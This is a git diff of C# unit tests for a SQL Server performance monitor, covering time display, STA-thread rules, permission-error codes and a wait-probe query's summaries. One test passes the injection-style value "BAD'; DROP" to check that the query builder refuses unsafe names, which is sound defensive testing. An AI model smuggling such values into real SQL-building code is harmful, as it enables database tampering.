+    /// <summary>The summary strips word the time with the tab's zone, to the second; a missing snapshot shows the strip's own empty marker, not a time.</summary>
+    [Fact]
+    public void TheStripText_IsTheSnapshotsTime_InTheGivenZone_ToTheSecond_AndTheEmptyMarkerWithoutOne()
+    {
+        Assert.Equal("2026-10-03 12:27:06", ServerTab.SnapshotCollectedText(DisplayZoneFixtures.At(2026, 10, 3, 16, 27, 6), DisplayZoneFixtures.Eastern, "--"));
+        Assert.Equal("2026-10-03 16:27:06", ServerTab.SnapshotCollectedText(DisplayZoneFixtures.At(2026, 10, 3, 16, 27, 6), TimeZoneInfo.Utc, "--"));
+        Assert.Equal("2026-11-01 01:30:05 -05:00", ServerTab.SnapshotCollectedText(DisplayZoneFixtures.At(2026, 11, 1, 6, 30, 5), DisplayZoneFixtures.Eastern, "--"));
+        Assert.Equal("--", ServerTab.SnapshotCollectedText(null, DisplayZoneFixtures.Eastern, "--"));
+        Assert.Equal("N/A", ServerTab.SnapshotCollectedText(null, TimeZoneInfo.Utc, "N/A"));
+    }
+
+    /// <summary>Every row of the CPU Scheduler grid carries the snapshot's collection time; a window with no snapshot has no rows, so no time.</summary>
+    [Fact]
+    public void TheCpuSchedulerGrid_CarriesTheSnapshotsTimeOnEveryRow_AndNothingWithoutASnapshot()
+    {
+        Assert.Empty(CpuSchedulerGridRow.Build(null));
+
+        var collected = DisplayZoneFixtures.At(2026, 10, 3, 16, 27, 6);
+        var rows = CpuSchedulerGridRow.Build(new CpuSchedulerSnapshot { CollectionTime = collected, SchedulerCount = 8 });
+        Assert.NotEmpty(rows);
+        Assert.All(rows, r => Assert.Equal(collected, r.CollectionTime));
+        Assert.Contains(rows, r => r.Metric == "Schedulers" && r.Value == "8");
+    }
+
+    /* Locate the repo from this file: no build-output copying. */
+    private static string ReadRepoFile(string relative, [CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, relative)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.True(dir is not null, $"{relative} was not found above {thisFile}.");
+        return File.ReadAllText(Path.Combine(dir!, relative));
+    }
+}
diff --git a/Lite.Tests/SpinlockStatsCollectorDefinitionTests.cs b/Lite.Tests/SpinlockStatsCollectorDefinitionTests.cs
index cfd71fbfb4..ea21b31e11 100644
--- a/Lite.Tests/SpinlockStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/SpinlockStatsCollectorDefinitionTests.cs
@@ -26,7 +26,7 @@ public sealed class SpinlockStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     spinlock_name = ss.name,
     collisions = ss.collisions,
     spins = ss.spins,
diff --git a/Lite.Tests/SqlServerPermissionErrorsTests.cs b/Lite.Tests/SqlServerPermissionErrorsTests.cs
index baabf6e66c..bc59a726d4 100644
--- a/Lite.Tests/SqlServerPermissionErrorsTests.cs
+++ b/Lite.Tests/SqlServerPermissionErrorsTests.cs
@@ -43,6 +43,7 @@ public sealed class SqlServerPermissionErrorsTests
     [InlineData(300)]  /* VIEW SERVER STATE denied (a service-objective limit on Azure SQL DB) */
     [InlineData(916)]  /* the principal cannot access the database under the current security context */
     [InlineData(8189)] /* sys.traces' own denial, ALTER TRACE missing (#1823) */
+    [InlineData(15247)] /* CREATE/ALTER EVENT SESSION without ALTER ANY EVENT SESSION (#5378) */
     public void PermissionDenials_AreClassifiedAsPermissions(int number)
         => Assert.True(SqlServerPermissionErrors.IsPermissionDenied(number));
 
@@ -58,6 +59,8 @@ public void PermissionDenials_AreClassifiedAsPermissions(int number)
     [InlineData(-2)]    /* command timeout */
     [InlineData(207)]   /* invalid column name (version drift) */
     [InlineData(40615)] /* Azure firewall rejection */
+    [InlineData(1088)]  /* cannot find the object: object-missing, not a denial (#5378 checked) */
+    [InlineData(15151)] /* cannot find the object OR no permission: ambiguous, so not a denial by number alone (#5378 checked) */
     [InlineData(0)]
     public void NonPermissionFailures_StayLoud(int number)
         => Assert.False(SqlServerPermissionErrors.IsPermissionDenied(number));
diff --git a/Lite.Tests/StaThreadCensusTests.cs b/Lite.Tests/StaThreadCensusTests.cs
new file mode 100644
index 0000000000..1dfc41ec4b
--- /dev/null
+++ b/Lite.Tests/StaThreadCensusTests.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5602: every test that needs WPF runs its body on the one shared STA thread (<c>StaTestThread.Run</c>), not on a thread of its
+/// own. About fifty test files used to start their own STA thread behind a gate (#5559): each left a dispatcher and a weak-event
+/// table behind (#5596's 300 ms per thread at process exit), and a body that pumped could still overlap another. A new test that
+/// starts its own thread, defines its own <c>OnStaThread</c>-style helper, or runs <c>Dispatcher.Run()</c> brings that back, so
+/// this fails and names the file and the rule. A test that really must own its thread goes on <see cref="Allowed"/> with the
+/// reason, and must take <c>StaTestThread.EnterExclusive()</c> around the thread so it cannot overlap a body on the shared one.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StaThreadCensusTests
+{
+    /* Built from parts so this file does not contain the text it scans for. */
+    private static readonly string s_sta = "ApartmentState" + ".STA";
+    private static readonly string s_run = "Dispatcher" + ".Run(";
+    private const string Exclusive = "StaTestThread.EnterExclusive()";
+
+    /// <summary>
+    /// A test that must own a thread, with the reason. None today: the host (StaTestThread.cs) and its own tests are in Darling.Tests,
+    /// which this project links the host from. Lite.Tests has no test that needs a thread of its own.
+    /// </summary>
+    private static readonly Dictionary<string, string> Allowed = new(StringComparer.Ordinal)
+    {
+        ["StaThreadCensusTests.cs"] = "this census names the text it scans for",
+    };
+
+    /// <summary>Anti-vacuity: the suite has well over this many files that use the host, so a scan that stopped seeing them fails.</summary>
+    private const int HostUserFloor = 20;
+
+    /// <summary>A method named like the per-file helpers this replaced: OnStaThread, OnStaThread&lt;T&gt;, RunOnStaThread, OnDispatcher.</summary>
+    private static readonly Regex s_helperDefinition = new(
+        @"\bstatic\s+[\w<>\[\]?,\.\s()]+?\b(?:Run)?On(?:Sta(?:Thread)?|Dispatcher|UiThread)\s*(?:<\w+>)?\s*\(", RegexOptions.Compiled);
+
+    [Fact]
+    public void NoTestFileOutsideTheAllowList_StartsItsOwnStaThread_DefinesAnStaHelper_OrRunsADispatcher()
+    {
+        var violations = new List<string>();
+        var hostUsers = 0;
+        foreach (var (rel, text) in TestFiles())
+        {
+            if (text.Contains("StaTestThread.Run", StringComparison.Ordinal))
+            {
+                hostUsers++;
+            }
+
+            if (Allowed.ContainsKey(Path.GetFileName(rel)))
+            {
+                continue;
+            }
+
+            /* Code only: a comment or a string that names the old helper, the dispatcher or the apartment state is not a use of it. */
+            var code = Darling.Tests.CSharpSourceWalker.StripCommentsAndStrings(text);
+            if (code.Contains(s_sta, StringComparison.Ordinal))
+            {
+                violations.Add(rel + ": starts its own STA thread; run the body in StaTestThread.Run(...) instead");
+            }
+
+            if (s_helperDefinition.IsMatch(code))
+            {
+                violations.Add(rel + ": defines its own OnStaThread-style helper; call StaTestThread.Run(...) directly");
+            }
+
+            if (code.Contains(s_run, StringComparison.Ordinal))
+            {
+                violations.Add(rel + ": runs its own dispatcher; use the async overload StaTestThread.Run(async () => ...)");
+            }
+        }
+
+        Assert.True(
+            violations.Count == 0,
+            "WPF tests share ONE STA thread per test process (#5602). Fix, or add the file to StaThreadCensusTests.Allowed with the reason it must "
+            + "own a thread:" + Environment.NewLine + string.Join(Environment.NewLine, violations));
+        Assert.True(hostUsers >= HostUserFloor, $"only {hostUsers} test files use StaTestThread.Run; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void ATestThatOwnsItsThread_TakesTheExclusiveGateAroundIt()
+    {
+        var missing = new List<string>();
+        foreach (var (rel, text) in TestFiles())
+        {
+            var name = Path.GetFileName(rel);
+            if (Allowed.ContainsKey(name) && name != "StaThreadCensusTests.cs"
+                && !text.Contains(Exclusive, StringComparison.Ordinal))
+            {
+                missing.Add(rel);
+            }
+        }
+
+        Assert.True(
+            missing.Count == 0,
+            "These tests own their STA thread but do not call " + Exclusive + " first, so they can overlap a body on the shared thread (#5559's race): "
+            + string.Join(", ", missing));
+    }
+
+    [Fact]
+    public void EveryAllowListEntry_SaysWhy()
+    {
+        Assert.All(Allowed, entry => Assert.True(entry.Value.Length >= 20, entry.Key + " is on the allow list without a reason"));
+    }
+
+    private static IEnumerable<(string Rel, string Text)> TestFiles()
+    {
+        var dir = ProjectDir();
+        foreach (var file in Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories))
+        {
+            var rel = Path.GetRelativePath(dir, file);
+            if (rel.StartsWith("bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                || rel.StartsWith("obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            yield return (rel, File.ReadAllText(file));
+        }
+    }
+
+    private static string ProjectDir([CallerFilePath] string thisFile = "") => Path.GetDirectoryName(thisFile)!;
+}
diff --git a/Lite.Tests/StallWaitProbePolicyTests.cs b/Lite.Tests/StallWaitProbePolicyTests.cs
index 7a9cda049d..a8ff52868b 100644
--- a/Lite.Tests/StallWaitProbePolicyTests.cs
+++ b/Lite.Tests/StallWaitProbePolicyTests.cs
@@ -603,6 +603,10 @@ whether the schedulers are saturated. */
         Assert.Contains("sys.dm_os_waiting_tasks", sql, StringComparison.Ordinal);
         Assert.Contains("sys.dm_os_schedulers", sql, StringComparison.Ordinal);
 
+        /* And the session catalog, which classifies each waiting task as user or background and finds this
+           service's own session. */
+        Assert.Contains("sys.dm_exec_sessions", sql, StringComparison.Ordinal);
+
         /* NOT the expensive shredders. A probe against an instance that has gone 50x slow at producing rows
            must not ask it for plan XML or SQL text. */
         Assert.DoesNotContain("dm_exec_query_plan", sql, StringComparison.Ordinal);
@@ -627,11 +631,10 @@ failing test rather than a query that silently keeps returning five. */
             sql,
             StringComparison.Ordinal);
 
-        /* And the ignored-wait list is deliberately absent — see the QueryText comment. SOS_SCHEDULER_YIELD
-           is the leading candidate for a producer-side slowdown, and a trend surface's benign list is
-           exactly where it would be dropped. */
+        /* The idle exclusion is a list of literals rendered from IgnoredWaitDefaults.All, never a copy of it
+           and never a name of the set in the text. */
         Assert.DoesNotContain("IgnoredWait", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("wait_type NOT IN", sql, StringComparison.Ordinal);
+        Assert.Contains("wt.is_idle = 0", sql, StringComparison.Ordinal);
 
         /* CONTRIBUTING.md's function rule: COUNT_BIG, never COUNT. Asserted here because nothing in the
            repo enforces it — this query shipped two bare COUNTs through every guard and was caught by eye
@@ -660,7 +663,7 @@ public async Task ReadAsync_SeparatesAnIdleInstanceFromNoSampleAtAll()
         var idle = await StallWaitProbePolicy.ReadAsync(
             new FakeSampleReader(new object?[][]
             {
-                [null, null, null, null, 0L, 0, 8, 0L, 0L, 0L, 0],
+                [null, null, null, null, 0L, 0, 8, 0L, 0L, 0L, 0, 0L, 0, 0L, null, null, null, 0L, 0],
             }),
             CancellationToken.None);
 
@@ -668,12 +671,15 @@ public async Task ReadAsync_SeparatesAnIdleInstanceFromNoSampleAtAll()
         Assert.Equal(0, idle!.WaitingTaskCount);
         Assert.Null(idle.TopWaitType);
         Assert.Equal(8, idle.SchedulerCount);
+        Assert.Equal(
+            "excluded from ranking: background 0 tasks/0 types; idle 0 tasks/0 types; ours: not visible",
+            idle.WaitSummary);
 
         /* The same shape with zero schedulers is not an instance, and must not be credited as a sample. */
         var notAnInstance = await StallWaitProbePolicy.ReadAsync(
             new FakeSampleReader(new object?[][]
             {
-                [null, null, null, null, 0L, 0, 0, 0L, 0L, 0L, 0],
+                [null, null, null, null, 0L, 0, 0, 0L, 0L, 0L, 0, 0L, 0, 0L, null, null, null, 0L, 0],
             }),
             CancellationToken.None);
 
@@ -694,8 +700,8 @@ public async Task ReadAsync_TakesTheHeadlineTotalsFromBeforeTheTopNCut()
         var sample = await StallWaitProbePolicy.ReadAsync(
             new FakeSampleReader(new object?[][]
             {
-                ["SOS_SCHEDULER_YIELD", 412L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21],
-                ["ASYNC_NETWORK_IO", 3L, 8_812L, 4_401L, 631L, 14, 8, 97L, 3L, 12L, 21],
+                ["SOS_SCHEDULER_YIELD", 412L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21, 0L, 0, 0L, null, null, null, 0L, 0],
+                ["ASYNC_NETWORK_IO", 3L, 8_812L, 4_401L, 631L, 14, 8, 97L, 3L, 12L, 21, 0L, 0, 0L, null, null, null, 0L, 0],
             }),
             CancellationToken.None);
 
@@ -716,13 +722,13 @@ public async Task ReadAsync_TakesTheHeadlineTotalsFromBeforeTheTopNCut()
 
         /* The breadth column carries both types; nothing parses it, and the discriminators are their own
            columns beside it. */
-        Assert.Equal("SOS_SCHEDULER_YIELD:412x/9931ms; ASYNC_NETWORK_IO:3x/8812ms", sample.WaitSummary);
+        Assert.Equal("SOS_SCHEDULER_YIELD:412x/9931ms; ASYNC_NETWORK_IO:3x/8812ms; excluded from ranking: background 0 tasks/0 types; idle 0 tasks/0 types; ours: not visible", sample.WaitSummary);
     }
 
     /// <summary>
-    /// A few wait names come back from the DMV with a trailing space (SQP_STATS_REPORTING is one), and this
-    /// sample applies no ignore filter, so a background waiter can be the top wait. The space must not land in
-    /// the stored top wait type or in the summary line.
+    /// A few wait names come back from the DMV with a trailing space, and a user-task wait can carry it too
+    /// (the fixture uses a name that is NOT on the idle list, so it is one the real query can rank). The space must not land in the stored top wait type or in the summary
+    /// line.
     /// </summary>
     [Fact]
     public async Task ReadAsync_TrimsTheTrailingSpaceAWaitNameCarries()
@@ -730,14 +736,275 @@ public async Task ReadAsync_TrimsTheTrailingSpaceAWaitNameCarries()
         var sample = await StallWaitProbePolicy.ReadAsync(
             new FakeSampleReader(new object?[][]
             {
-                ["SQP_STATS_REPORTING ", 1L, 240_000L, 240_000L, 631L, 14, 8, 97L, 3L, 12L, 21],
-                ["SOS_SCHEDULER_YIELD", 412L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21],
+                ["LCK_M_S ", 1L, 240_000L, 240_000L, 631L, 14, 8, 97L, 3L, 12L, 21, 0L, 0, 0L, null, null, null, 0L, 0],
+                ["SOS_SCHEDULER_YIELD", 412L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21, 0L, 0, 0L, null, null, null, 0L, 0],
+            }),
+            CancellationToken.None);
+
+        Assert.NotNull(sample);
+        Assert.Equal("LCK_M_S", sample!.TopWaitType);
+        Assert.Equal("LCK_M_S:1x/240000ms; SOS_SCHEDULER_YIELD:412x/9931ms; excluded from ranking: background 0 tasks/0 types; idle 0 tasks/0 types; ours: not visible", sample.WaitSummary);
+    }
+
+    /// <summary>
+    /// The ranking excludes exactly the shared idle list and nothing else (#5267): the rendered list is the
+    /// set at load, in ordinal order, as <c>N'…'</c> literals, and the waits this probe exists to find are
+    /// not in it.
+    /// </summary>
+    [Fact]
+    public void TheQuery_ExcludesExactlyTheSharedIdleList_FromTheRanking()
+    {
+        var sql = StallWaitProbePolicy.QueryText;
+
+        /* Rendered ONCE: the list lives in the leading derived set as is_idle, and the totals and the ranking
+           both read that flag. Every N'...' literal before the SELECT is therefore the list, once. */
+        var list = sql.Substring(0, sql.IndexOf("SELECT /* PerformanceMonitorDarling", StringComparison.Ordinal));
+        var literals = System.Text.RegularExpressions.Regex.Matches(list, "N'([^']*)'")
+            .Select(m => m.Groups[1].Value)
+            .ToList();
+
+        Assert.Equal(IgnoredWaitDefaults.All.OrderBy(n => n, StringComparer.Ordinal).ToList(), literals);
+        Assert.All(literals, n => Assert.Matches("^[A-Z0-9_]+$", n));
+
+        /* The starvation, lock, latch and IO waits are the point of the probe and must still rank. */
+        foreach (var name in new[] { "SOS_SCHEDULER_YIELD", "THREADPOOL", "ASYNC_NETWORK_IO", "PAGEIOLATCH_SH", "LCK_M_X", "RESOURCE_SEMAPHORE" })
+        {
+            Assert.DoesNotContain("N'" + name + "'", sql, StringComparison.Ordinal);
+        }
+
+        /* Wait type only: no session or batch text is read to decide idleness. */
+        Assert.DoesNotContain("sql_text", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The idle counts use the same list as the ranking exclusion, in the totals; a name that is not a plain
+    /// wait name is refused rather than rendered into the text.
+    /// </summary>
+    [Fact]
+    public void TheQuery_CountsTheIdleWaitsInTheTotals_AndRefusesAnUnsafeName()
+    {
+        var sql = StallWaitProbePolicy.QueryText;
+        var crossJoin = sql.IndexOf("CROSS JOIN", StringComparison.Ordinal);
+        var firstApply = sql.IndexOf("OUTER APPLY", StringComparison.Ordinal);
+        var totals = sql.Substring(crossJoin, firstApply - crossJoin);
+
+        Assert.Contains("idle_waiting_tasks", totals, StringComparison.Ordinal);
+        Assert.Contains("idle_wait_types", totals, StringComparison.Ordinal);
+        Assert.Contains("N'SP_SERVER_DIAGNOSTICS_SLEEP'", sql, StringComparison.Ordinal);
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(sql, "N'SP_SERVER_DIAGNOSTICS_SLEEP'"));
+
+        /* A task counted as background is not counted again as idle. */
+        Assert.Contains("ISNULL(wt.is_user_process, 1) <> 0 AND wt.is_idle = 1", totals, StringComparison.Ordinal);
+
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(new[] { "OK_WAIT", "BAD'; DROP" }));
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(Array.Empty<string>()));
+
+        /* A null entry is the documented refusal too, not an ArgumentNullException from the sort or the regex. */
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(new string?[] { "OK_WAIT", null }!));
+        Assert.DoesNotContain("<<", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The ranking drops background tasks and the totals do not. The ISNULL form is asserted literally: a bare
+    /// <c>es.is_user_process = 1</c> would drop every session the DMV cannot show (Azure SQL Database).
+    /// </summary>
+    [Fact]
+    public void TheRanking_DropsBackgroundTasks_ButTheTotalsDoNot()
+    {
+        var sql = StallWaitProbePolicy.QueryText;
+
+        var firstApply = sql.IndexOf("OUTER APPLY", StringComparison.Ordinal);
+        var crossJoin = sql.IndexOf("CROSS JOIN", StringComparison.Ordinal);
+        Assert.True(crossJoin > 0 && firstApply > crossJoin);
+
+        var totals = sql.Substring(crossJoin, firstApply - crossJoin);
+        var ranking = sql.Substring(firstApply, sql.IndexOf("OUTER APPLY", firstApply + 1, StringComparison.Ordinal) - firstApply);
+
+        /* Both read the one derived set, which keeps a session the DMV cannot show (a LEFT JOIN), and the
+           ranking keeps its fail-safe. */
+        var waiting = sql.Substring(0, crossJoin);
+        Assert.Contains("LEFT JOIN sys.dm_exec_sessions AS es", waiting, StringComparison.Ordinal);
+        Assert.Contains("FROM waiting AS wt", totals, StringComparison.Ordinal);
+        Assert.Contains("FROM waiting AS wt", ranking, StringComparison.Ordinal);
+        Assert.Contains("TOP (5)", ranking, StringComparison.Ordinal);
+        Assert.Contains("ISNULL(wt.is_user_process, 1) = 1", ranking, StringComparison.Ordinal);
+        Assert.Contains("wt.is_idle = 0", ranking, StringComparison.Ordinal);
+
+        Assert.DoesNotContain("is_user_process, 1) = 1", totals, StringComparison.Ordinal);
+        Assert.Contains("background_waiting_tasks", totals, StringComparison.Ordinal);
+
+        /* Sessionless tasks are dropped by an explicit predicate, once, in the derived set both read. */
+        Assert.Contains("owt.session_id IS NOT NULL", waiting, StringComparison.Ordinal);
+        Assert.Contains("owt.wait_type IS NOT NULL", waiting, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// This service's own session is found by application name and client host, never by session id, and the
+    /// query binds no parameters.
+    /// </summary>
+    [Fact]
+    public void TheQuery_FindsOurOwnSession_ByProgramAndHost_NotBySessionId()
+    {
+        var sql = StallWaitProbePolicy.QueryText;
+
+        Assert.Contains("es.program_name = APP_NAME()", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("PROGRAM_NAME", sql, StringComparison.Ordinal);
+        Assert.Contains("es.host_name = HOST_NAME()", sql, StringComparison.Ordinal);
+        Assert.Contains("COUNT_BIG(DISTINCT es.session_id)", sql, StringComparison.Ordinal);
+        Assert.Contains("sys.dm_exec_requests", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("target_session_id", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("@session_id", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The planted rowset: 631 waiting tasks, 600 of them background, two ranked user waits, and one session of
+    /// ours waiting on ASYNC_NETWORK_IO. The unfiltered total is preserved, the top wait is the user wait, and
+    /// the summary ends with the exclusion tail.
+    /// </summary>
+    [Fact]
+    public async Task ReadAsync_ReadsTheExclusionCountsAndOurSessionWait_FromThePlantedRowset()
+    {
+        var sample = await StallWaitProbePolicy.ReadAsync(
+            new FakeSampleReader(new object?[][]
+            {
+                ["SOS_SCHEDULER_YIELD", 25L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21, 600L, 9, 1L, "ASYNC_NETWORK_IO", 41_000L, "ASYNC_NETWORK_IO", 0L, 0],
+                ["ASYNC_NETWORK_IO", 3L, 8_812L, 4_401L, 631L, 14, 8, 97L, 3L, 12L, 21, 600L, 9, 1L, "ASYNC_NETWORK_IO", 41_000L, "ASYNC_NETWORK_IO", 0L, 0],
+            }),
+            CancellationToken.None);
+
+        Assert.NotNull(sample);
+        Assert.Equal(631, sample!.WaitingTaskCount);
+        Assert.Equal("SOS_SCHEDULER_YIELD", sample.TopWaitType);
+        Assert.Equal(600, sample.BackgroundWaitingTasks);
+        Assert.Equal(9, sample.BackgroundWaitTypes);
+        Assert.Equal(1, sample.CollectorSessions);
+        Assert.Equal("ASYNC_NETWORK_IO", sample.CollectorWaitType);
+        Assert.Equal(41_000, sample.CollectorWaitMs);
+        Assert.Equal("ASYNC_NETWORK_IO", sample.CollectorLastWaitType);
+        Assert.EndsWith(
+            "excluded from ranking: background 600 tasks/9 types; idle 0 tasks/0 types; ours: ASYNC_NETWORK_IO 41000ms (last ASYNC_NETWORK_IO)",
+            sample.WaitSummary,
+            StringComparison.Ordinal);
+    }
+
+    /// <summary>No visible session of ours says so, rather than reading as a zero-millisecond wait.</summary>
+    [Fact]
+    public async Task ReadAsync_OurSessionNotVisible_SaysSo()
+    {
+        var sample = await StallWaitProbePolicy.ReadAsync(
+            new FakeSampleReader(new object?[][]
+            {
+                ["SOS_SCHEDULER_YIELD", 25L, 9_931L, 61L, 631L, 14, 8, 97L, 3L, 12L, 21, 600L, 9, 0L, null, null, null, 0L, 0],
+            }),
+            CancellationToken.None);
+
+        Assert.NotNull(sample);
+        Assert.EndsWith("; ours: not visible", sample!.WaitSummary, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Several matching sessions are labelled as such, and a running request (no current wait) reads as
+    /// running.
+    /// </summary>
+    [Fact]
+    public void RenderWaitSummary_LabelsSeveralSessions_AndARunningRequest()
+    {
+        var waits = new[] { new StallWaitRow("SOS_SCHEDULER_YIELD", 25, 9_931, 61) };
+
+        var summary = StallWaitProbePolicy.RenderWaitSummary(waits, 600, 9, 2, null, 0, "PAGEIOLATCH_SH");
+
+        Assert.EndsWith(
+            "ours (oldest of 2): running (last PAGEIOLATCH_SH)",
+            summary,
+            StringComparison.Ordinal);
+    }
+
+    /// <summary>Only background sessions wait: nothing ranks, and the summary is just the tail.</summary>
+    [Fact]
+    public async Task ReadAsync_WithOnlyBackgroundWaits_KeepsTheTailAsTheWholeSummary()
+    {
+        var sample = await StallWaitProbePolicy.ReadAsync(
+            new FakeSampleReader(new object?[][]
+            {
+                [null, null, null, null, 600L, 9, 8, 97L, 3L, 12L, 21, 600L, 9, 1L, "ASYNC_NETWORK_IO", 41_000L, "ASYNC_NETWORK_IO", 0L, 0],
+            }),
+            CancellationToken.None);
+
+        Assert.NotNull(sample);
+        Assert.Null(sample!.TopWaitType);
+        Assert.Equal(
+            "excluded from ranking: background 600 tasks/9 types; idle 0 tasks/0 types; ours: ASYNC_NETWORK_IO 41000ms (last ASYNC_NETWORK_IO)",
+            sample.WaitSummary);
+    }
+
+    /// <summary>The worst-case tail (maximum counts, 60-character names, 40 long entries) stays inside the cap.</summary>
+    [Fact]
+    public void RenderWaitSummary_TheWorstCaseTail_FitsTheCap()
+    {
+        var name = new string('W', 60);
+        var many = Enumerable.Range(0, 40).Select(_ => new StallWaitRow(name, long.MaxValue, long.MaxValue, 1)).ToArray();
+
+        var summary = StallWaitProbePolicy.RenderWaitSummary(many, long.MaxValue, int.MaxValue, long.MaxValue, name, long.MaxValue, name, long.MaxValue, int.MaxValue);
+        var alone = StallWaitProbePolicy.RenderWaitSummary(
+            Array.Empty<StallWaitRow>(), long.MaxValue, int.MaxValue, long.MaxValue, name, long.MaxValue, name, long.MaxValue, int.MaxValue);
+
+        Assert.True(summary.Length <= 512);
+        Assert.True(alone.Length <= 512);
+        Assert.StartsWith("excluded from ranking:", alone, StringComparison.Ordinal);
+    }
+
+    /// <summary>The idle counts ride in the tail, between the background counts and our own session (#5267).</summary>
+    [Fact]
+    public void RenderWaitSummary_CarriesTheIdleCounts_InTheTail()
+    {
+        var waits = new[] { new StallWaitRow("LCK_M_S", 1, 4_200, 4_200) };
+
+        var summary = StallWaitProbePolicy.RenderWaitSummary(waits, 58, 7, 1, "ASYNC_NETWORK_IO", 10, "ASYNC_NETWORK_IO", 3, 2);
+
+        Assert.Equal(
+            "LCK_M_S:1x/4200ms; excluded from ranking: background 58 tasks/7 types; idle 3 tasks/2 types; ours: ASYNC_NETWORK_IO 10ms (last ASYNC_NETWORK_IO)",
+            summary);
+    }
+
+    /// <summary>
+    /// Only idle and background waits exist: nothing ranks (a null top wait, zero top totals), the tail is the
+    /// whole summary and carries both counts, and the waiting-task total still counts every task.
+    /// </summary>
+    [Fact]
+    public async Task ReadAsync_WithOnlyIdleAndBackgroundWaits_HasNoTopWait_AndCountsTheIdleOnes()
+    {
+        var sample = await StallWaitProbePolicy.ReadAsync(
+            new FakeSampleReader(new object?[][]
+            {
+                [null, null, null, null, 61L, 8, 8, 0L, 0L, 0L, 0, 58L, 6, 0L, null, null, null, 3L, 2],
             }),
             CancellationToken.None);
 
         Assert.NotNull(sample);
-        Assert.Equal("SQP_STATS_REPORTING", sample!.TopWaitType);
-        Assert.Equal("SQP_STATS_REPORTING:1x/240000ms; SOS_SCHEDULER_YIELD:412x/9931ms", sample.WaitSummary);
+        Assert.Null(sample!.TopWaitType);
+        Assert.Equal(0, sample.TopWaitTotalMs);
+        Assert.Equal(0, sample.TopWaitMaxMs);
+        Assert.Equal(61, sample.WaitingTaskCount);
+        Assert.Equal(
+            "excluded from ranking: background 58 tasks/6 types; idle 3 tasks/2 types; ours: not visible",
+            sample.WaitSummary);
+    }
+
+    /// <summary>The tail is reserved first, so 40 long entries cannot push it off the 512-character cap.</summary>
+    [Fact]
+    public void RenderWaitSummary_KeepsTheTailWholeUnderTheCap()
+    {
+        var many = Enumerable.Range(0, 40)
+            .Select(i => new StallWaitRow($"WAIT_TYPE_NUMBER_{i:D2}", 1_234, 5_678_901, 4_321))
+            .ToArray();
+        const string tail = "excluded from ranking: background 600 tasks/9 types; idle 12 tasks/3 types; ours: ASYNC_NETWORK_IO 41000ms (last ASYNC_NETWORK_IO)";
+
+        var summary = StallWaitProbePolicy.RenderWaitSummary(many, 600, 9, 1, "ASYNC_NETWORK_IO", 41_000, "ASYNC_NETWORK_IO", 12, 3);
+
+        Assert.True(summary.Length <= StallWaitProbePolicy.WaitSummaryMaxLength);
+        Assert.EndsWith(tail, summary, StringComparison.Ordinal);
+        Assert.Contains("WAIT_TYPE_NUMBER_00:1234x/5678901ms; ", summary, StringComparison.Ordinal);
+        Assert.DoesNotContain(";;", summary, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -753,7 +1020,8 @@ public void RenderWaitSummary_TruncatesOnEntryBoundaries()
         var summary = StallWaitProbePolicy.RenderWaitSummary(many);
 
         Assert.True(summary.Length <= StallWaitProbePolicy.WaitSummaryMaxLength);
-        Assert.EndsWith("ms", summary, StringComparison.Ordinal);
+        Assert.EndsWith("ours: not visible", summary, StringComparison.Ordinal);
+        Assert.Contains("ms; excluded from ranking:", summary, StringComparison.Ordinal);
         Assert.DoesNotContain(";;", summary, StringComparison.Ordinal);
         Assert.False(summary.EndsWith("; ", StringComparison.Ordinal));
     }
@@ -818,7 +1086,7 @@ public override bool Read()
 
         public override string GetString(int ordinal) => (string)_rows[_index][ordinal]!;
 
-        public override int FieldCount => 11;
+        public override int FieldCount => 19;
 
         public override bool HasRows => _rows.Count > 0;
 
diff --git a/Lite.Tests/StandalonePlanViewerPlusTabTests.cs b/Lite.Tests/StandalonePlanViewerPlusTabTests.cs
index 693e6f5851..b13a7241f3 100644
--- a/Lite.Tests/StandalonePlanViewerPlusTabTests.cs
+++ b/Lite.Tests/StandalonePlanViewerPlusTabTests.cs
@@ -45,6 +45,7 @@ namespace Lite.Tests;
 /// is reproduced as the exact call <c>TabItem.OnPreviewGotKeyboardFocus</c> makes, not as a real keyboard
 /// focus change, which needs a shown, activated window.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
